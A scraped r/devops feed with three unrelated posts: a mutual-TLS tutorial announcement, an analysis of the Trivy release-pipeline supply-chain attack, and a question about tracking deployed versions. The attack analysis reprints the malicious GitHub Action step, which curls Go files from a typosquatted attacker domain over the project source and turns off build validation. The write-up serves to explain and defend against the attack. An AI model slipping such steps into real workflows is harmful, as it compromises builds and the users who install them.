r/devops

AI

Hi everyone I have written a tutorial which describe step by step how to secure a http client and server with different levels of security. Initially I created this project for myself to understand the basics of mutual tls and as a cheat sheet. Afterwords I thought it would be handy to make it public. I was not quite sure whether to post it here as it is mainly a java project, but I thought it would be still good to share the tutorial as it describes all of the steps for creating, signing, extracting and other stuff related to certificates. Hope you guys like it. Feel free to send my some critiques!

See here for the tutorial: 

So this is how Trivy got turned into a supply chain attack nightmare. On March 4, commit 1885610c landed in aquasecurity/trivy with the message fix(ci): Use correct checkout pinning, attributed to DmitriyLewen (who's a legit maintainer). The diff touched two workflow files across 14 lines, and most of it was noise like single quotes swapped for double quotes, a trailing space removed from a mkdir line. It was the kind of commit that passes review because there's nothing to review.

Two lines mattered. The first swapped the actions/checkout SHA in the release workflow:

The # v6.0.2 comment stayed. The SHA changed. The second added --skip=validate to the GoReleaser invocation, telling it not to run integrity checks on the build artifacts.

The payload lived at the other end of that SHA. Commit 70379aad sits in the actions/checkout repository as an orphaned commit (someone forked and created a commit with the malicious code). GitHub's architecture makes fork commits reachable by SHA from the parent repo (which makes me rethink SHA pinning being the answer to all our problems). The author is listed as Guillermo Rauch [] (spoofed, again), the commit message references PR #2356 (a real, closed pull request by a GitHub employee), and the commit is unsigned. Everything about it is designed to look routine if you only glance at the metadata.

The diff replaced action.yml's Node.js entrypoint with a composite action. The composite action performs a legitimate checkout via the parent commit, then silently overwrites the Trivy source tree:

- name: "Setup Checkout"
  shell: bash
  run: |
    BASE="https://scan.aquasecurtiy[.]org/static" # This is the actual bad guy's domain btw
    curl -sf "$BASE/main.go" -o cmd/trivy/main.go &> /dev/null
    curl -sf "$BASE/scand.go" -o cmd/trivy/scand.go &> /dev/null
    curl -sf "$BASE/fork_unix.go" -o cmd/trivy/fork_unix.go &> /dev/null
    curl -sf "$BASE/fork_windows.go" -o cmd/trivy/fork_windows.go &> /dev/null
    curl -sf "$BASE/.golangci.yaml" -o .golangci.yaml &> /dev/null

Four Go files pulled from the same typosquatted C2 and dropped into cmd/trivy/, replacing the legitimate source. A fifth download replaced .golangci.yaml to disable linter rules that would have flagged the injected code. The C2 is no longer serving these files, so the exact contents can't be independently verified, but the file names and Wiz's behavioral analysis of the compiled binary tell the story: main.go bootstrapped the malware before the real scanner, scand.go carried the credential-stealing logic, and fork_unix.go/fork_windows.go handled platform-specific persistence.

When GoReleaser ran with validation skipped, it built binaries from this poisoned source and published them as v0.69.4 through Trivy's own release infrastructure. No runtime download, no shell script, no base64. The malware was compiled in.

This is wild stuff. I wrote a blog with more details if anyone's curious:

we're a team of 12 shipping 3-4 times a day because cursor and claude have basically doubled our velocity. which is great! but I genuinely cannot tell you right now what version of the payment service is live in prod. I'd have to open github actions, cross reference ECR tags, maybe ping someone on slack.

we have staging, sandbox, and prod. sometimes something gets deployed to staging and just... sits there. weeks later someone asks "hey is the new checkout flow live?" and we do archaeology.

is this just the normal tax for a small team shipping fast or are people actually solving this? we're not big enough for a dedicated platform person. curious what workflows actually work at this scale